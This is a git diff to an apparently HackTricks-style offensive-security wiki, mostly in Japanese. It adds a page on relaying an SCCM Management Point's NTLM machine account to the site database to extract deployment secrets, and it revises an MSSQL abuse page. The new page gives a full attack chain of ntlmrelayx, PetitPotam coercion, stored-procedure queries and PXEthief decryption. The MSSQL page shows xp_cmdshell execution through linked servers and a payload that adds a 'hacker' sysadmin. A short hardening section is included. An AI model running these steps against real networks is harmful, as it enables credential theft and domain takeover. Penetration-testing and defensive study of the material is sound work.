diff --git a/src/SUMMARY.md b/src/SUMMARY.md index b09540790..09ba11160 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -283,6 +283,7 @@ - [Privileged Groups](windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md) - [RDP Sessions Abuse](windows-hardening/active-directory-methodology/rdp-sessions-abuse.md) - [Resource-based Constrained Delegation](windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md) + - [Sccm Management Point Relay Sql Policy Secrets](windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md) - [Security Descriptors](windows-hardening/active-directory-methodology/security-descriptors.md) - [SID-History Injection](windows-hardening/active-directory-methodology/sid-history-injection.md) - [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md) diff --git a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md index 335e90364..c1e149fee 100644 --- a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md +++ b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -3,7 +3,7 @@ {{#include ../../banners/hacktricks-training.md}} -## **MSSQLの列挙 / 発見** +## **MSSQL Enumeration / Discovery** ### Python @@ -161,12 +161,12 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } ``` ### MSSQL RCE -MSSQLホスト内で**コマンドを実行する**ことも可能かもしれません。 +MSSQLホスト内で**コマンドを実行**することも可能かもしれません。 ```bash Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults # Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary ``` -以下のセクションで手動でこれを行う方法を確認してください。 +チェックインのページには、**次のセクションで手動でこれを行う方法が記載されています。** ### MSSQL基本ハッキングテクニック @@ -176,9 +176,9 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu ## MSSQL信頼されたリンク -MSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合(データベースリンク)。ユーザーが信頼されたデータベースに対して権限を持っている場合、**信頼関係を利用して他のインスタンスでもクエリを実行することができます**。この信頼は連鎖させることができ、ユーザーはコマンドを実行できる誤って構成されたデータベースを見つけることができるかもしれません。 +MSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合(データベースリンク)。ユーザーが信頼されたデータベースに対して権限を持っている場合、**信頼関係を利用して他のインスタンスでもクエリを実行することができます**。この信頼は連鎖させることができ、ユーザーはコマンドを実行できるような誤って構成されたデータベースを見つけることができるかもしれません。 -**データベース間のリンクは、フォレスト信頼を越えても機能します。** +**データベース間のリンクは、フォレストトラストを越えても機能します。** ### Powershellの悪用 ```bash @@ -226,7 +226,7 @@ metasploitを使用して、信頼できるリンクを簡単に確認できま msf> use exploit/windows/mssql/mssql_linkcrawler [msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session ``` -注意してください、metasploitはMSSQLの`openquery()`関数のみを悪用しようとします(したがって、`openquery()`でコマンドを実行できない場合は、コマンドを実行するために`EXECUTE`メソッドを**手動で**試す必要があります。詳細は以下を参照してください。) +メタスプリットはMSSQLの`openquery()`関数のみを悪用しようとします(したがって、`openquery()`でコマンドを実行できない場合は、コマンドを実行するために`EXECUTE`メソッドを**手動で**試す必要があります。詳細は以下を参照してください。) ### 手動 - Openquery() @@ -247,12 +247,12 @@ EXEC sp_linkedservers; #### 信頼できるリンクでクエリを実行する -リンクを通じてクエリを実行します(例:新しいアクセス可能なインスタンスでさらにリンクを見つける): +リンクを通じてクエリを実行します(例:新しいアクセス可能なインスタンスでさらにリンクを見つける)。 ```sql select * from openquery("dcorp-sql1", 'select * from master..sysservers') ``` > [!WARNING] -> ダブルクオートとシングルクオートがどこで使用されているか確認してください。それらをそのように使用することが重要です。 +> ダブルクォートとシングルクォートがどこで使用されているか確認してください。それらをそのように使用することが重要です。 ![](<../../images/image (643).png>) @@ -264,7 +264,7 @@ SELECT * FROM OPENQUERY("", 'select @@servername; exec xp_cmdshell ''p # Second level RCE SELECT * FROM OPENQUERY("", 'select * from openquery("", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')') ``` -`openquery()`から`exec xp_cmdshell`のようなアクションを実行できない場合は、`EXECUTE`メソッドを試してください。 +`exec xp_cmdshell`を`openquery()`から実行できない場合は、`EXECUTE`メソッドを試してください。 ### 手動 - EXECUTE @@ -278,8 +278,16 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT **MSSQLローカルユーザー**は通常、**`SeImpersonatePrivilege`**と呼ばれる特別な種類の特権を持っています。これにより、アカウントは「認証後にクライアントを偽装する」ことができます。 -多くの著者が考案した戦略は、攻撃者が作成した悪意のあるまたは中間者サービスにSYSTEMサービスを認証させることです。この悪意のあるサービスは、認証を試みている間にSYSTEMサービスを偽装することができます。 +多くの著者が考案した戦略は、攻撃者が作成した悪意のあるまたは中間者サービスにSYSTEMサービスを認証させることです。この悪意のあるサービスは、SYSTEMサービスが認証を試みている間にそのサービスを偽装することができます。 -[SweetPotato](https://github.com/CCob/SweetPotato)は、Beaconの`execute-assembly`コマンドを介して実行できるこれらのさまざまな技術のコレクションを持っています。 +[SweetPotato](https://github.com/CCob/SweetPotato)には、Beaconの`execute-assembly`コマンドを介して実行できるこれらのさまざまな技術のコレクションがあります。 + + + +### SCCM管理ポイントNTLMリレー(OSDシークレット抽出) +SCCM **管理ポイント**のデフォルトSQLロールが、サイトデータベースからネットワークアクセスアカウントとタスクシーケンスのシークレットをダンプするためにどのように悪用されるかを確認してください: +{{#ref}} +sccm-management-point-relay-sql-policy-secrets.md +{{#endref}} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md b/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md new file mode 100644 index 000000000..33141cb4d --- /dev/null +++ b/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md @@ -0,0 +1,154 @@ +# SCCM Management Point NTLM Relay to SQL – OSDポリシーシークレット抽出 + +{{#include ../../banners/hacktricks-training.md}} + +## TL;DR +**System Center Configuration Manager (SCCM) Management Point (MP)**をSMB/RPC経由で認証させ、そのNTLMマシンアカウントを**サイトデータベース (MSSQL)**にリレーすることで、`smsdbrole_MP` / `smsdbrole_MPUserSvc`権限を取得します。これらのロールを使用すると、**Operating System Deployment (OSD)**ポリシーブロブ(ネットワークアクセスアカウントの資格情報、タスクシーケンス変数など)を公開する一連のストアドプロシージャを呼び出すことができます。ブロブは16進数でエンコード/暗号化されていますが、**PXEthief**を使用してデコードおよび復号化でき、平文のシークレットが得られます。 + +高レベルのチェーン: +1. MP & サイトDBを発見 ↦ 認証されていないHTTPエンドポイント `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`。 +2. `ntlmrelayx.py -t mssql:// -ts -socks`を開始します。 +3. **PetitPotam**、PrinterBug、DFSCoerceなどを使用してMPを強制します。 +4. SOCKSプロキシを介して、リレーされた**\\$**アカウントとして`mssqlclient.py -windows-auth`で接続します。 +5. 実行: +* `use CM_` +* `exec MP_GetMachinePolicyAssignments N'',N''` +* `exec MP_GetPolicyBody N'',N''` (または`MP_GetPolicyBodyAfterAuthorization`) +6. `0xFFFE` BOMを削除し、`xxd -r -p` → XML → `python3 pxethief.py 7 `。 + +`OSDJoinAccount/OSDJoinPassword`、`NetworkAccessUsername/Password`などのシークレットは、PXEやクライアントに触れることなく回収されます。 + +--- + +## 1. 認証されていないMPエンドポイントの列挙 +MP ISAPI拡張機能**GetAuth.dll**は、認証を必要としないいくつかのパラメータを公開しています(サイトがPKI専用でない限り): + +| パラメータ | 目的 | +|-----------|---------| +| `MPKEYINFORMATIONMEDIA` | サイト署名証明書の公開鍵 + *x86* / *x64* **すべての不明なコンピュータ**デバイスのGUIDを返します。 | +| `MPLIST` | サイト内のすべてのManagement-Pointをリストします。 | +| `SITESIGNCERT` | プライマリサイト署名証明書を返します(LDAPなしでサイトサーバーを特定)。 | + +後のDBクエリのための**clientID**として機能するGUIDを取得します: +```bash +curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format - +``` +--- + +## 2. MPマシンアカウントをMSSQLにリレーする +```bash +# 1. Start the relay listener (SMB→TDS) +ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support + +# 2. Trigger authentication from the MP (PetitPotam example) +python3 PetitPotam.py 10.10.10.20 10.10.10.99 \ +-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10 +``` +強制が発生すると、次のようなものが表示されるはずです: +``` +[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED +[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433) +``` +--- + +## 3. ストアドプロシージャを介してOSDポリシーを特定する +SOCKSプロキシ(デフォルトでポート1080)を介して接続します: +```bash +proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth +``` +**CM_** DBに切り替えます(3桁のサイトコードを使用します。例:`CM_001`)。 + +### 3.1 不明なコンピュータのGUIDを見つける(オプション) +```sql +USE CM_001; +SELECT SMS_Unique_Identifier0 +FROM dbo.UnknownSystem_DISC +WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86 +``` +### 3.2 割り当てられたポリシーのリスト +```sql +EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N''; +``` +各行には `PolicyAssignmentID`、`Body` (16進数)、`PolicyID`、`PolicyVersion` が含まれています。 + +ポリシーに焦点を当てます: +* **NAAConfig** – ネットワークアクセスアカウントの資格情報 +* **TS_Sequence** – タスクシーケンス変数 (OSDJoinAccount/Password) +* **CollectionSettings** – 実行アカウントを含む可能性があります + +### 3.3 完全なボディを取得する +`PolicyID` と `PolicyVersion` が既にある場合は、次のようにして clientID の要件をスキップできます: +```sql +EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00'; +``` +> 重要: SSMSで「最大取得文字数」を増やす(>65535)そうしないとBLOBが切り捨てられます。 + +--- + +## 4. BLOBをデコードおよび復号化する +```bash +# Remove the UTF-16 BOM, convert from hex → XML +echo 'fffe3c003f0078…' | xxd -r -p > policy.xml + +# Decrypt with PXEthief (7 = decrypt attribute value) +python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml) +``` +回復された秘密の例: +``` +OSDJoinAccount : CONTOSO\\joiner +OSDJoinPassword: SuperSecret2025! +NetworkAccessUsername: CONTOSO\\SCCM_NAA +NetworkAccessPassword: P4ssw0rd123 +``` +--- + +## 5. 関連するSQLロールと手続き +リレー時にログインは次のようにマッピングされます: +* `smsdbrole_MP` +* `smsdbrole_MPUserSvc` + +これらのロールは数十のEXEC権限を公開しており、この攻撃で使用される主要なものは次のとおりです: + +| ストアドプロシージャ | 目的 | +|------------------|---------| +| `MP_GetMachinePolicyAssignments` | `clientID`に適用されるポリシーのリスト。 | +| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | 完全なポリシー本体を返します。 | +| `MP_GetListOfMPsInSiteOSD` | `MPKEYINFORMATIONMEDIA`パスによって返されます。 | + +完全なリストを確認するには: +```sql +SELECT pr.name +FROM sys.database_principals AS dp +JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id +JOIN sys.objects AS pr ON pr.object_id = pe.major_id +WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc') +AND pe.permission_name='EXECUTE'; +``` +--- + +## 6. 検出と強化 +1. **MPログインの監視** – ホストでないIPからログインしているMPコンピュータアカウントは≈リレー。 +2. サイトデータベースで**認証のための拡張保護 (EPA)**を有効にする(`PREVENT-14`)。 +3. 未使用のNTLMを無効にし、SMB署名を強制し、RPCを制限する(`PetitPotam`/`PrinterBug`に対して使用される同じ緩和策)。 +4. IPSec / 相互TLSでMP ↔ DB通信を強化する。 + +--- + +## 参照 +* NTLMリレーの基本: +{{#ref}} +../ntlm/README.md +{{#endref}} + +* MSSQLの悪用とポストエクスプロイト: +{{#ref}} +abusing-ad-mssql.md +{{#endref}} + + + +## 参考文献 +- [I’d Like to Speak to Your Manager: Stealing Secrets with Management Point Relays](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/) +- [PXEthief](https://github.com/MWR-CyberSec/PXEThief) +- [Misconfiguration Manager – ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager) +{{#include ../../banners/hacktricks-training.md}}